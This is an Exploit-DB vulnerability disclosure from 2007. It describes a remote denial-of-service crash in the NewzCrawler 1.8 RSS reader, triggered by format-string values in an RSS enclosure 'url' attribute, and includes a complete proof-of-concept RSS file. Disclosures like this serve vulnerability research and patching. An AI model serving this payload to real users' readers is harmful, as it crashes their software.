NewzCrawler 1.8 - invalid string Remote Denial of Service

EDB-ID:

3930

Author:

gbr

Type:

dos

Platform:

Windows

Published:

2007-05-15

NewzCrawler 1.8 Remote Denial of Service
Credits: gbr
Tested on Windows XP SP2

NewzCrawler 1.8 becomes usntable and begin crash when parsering the 'url' atribute of
'enclosure' sub-element contends some invalid string* at time of show a new item of a 
RSS 2.0 file.

* '%s', '%Y', '%%', 'n,', and others.

PoC:

<?xml version="1.0"?>
<rss version="2.0">

<channel>
        <title>Test</title>
        <link></link>
        <description></description>

        <item>
                <title>Remote DoS PoC</title>
                <enclosure url="%s"/>
        </item>
</channel>
</rss>

# milw0rm.com [2007-05-15]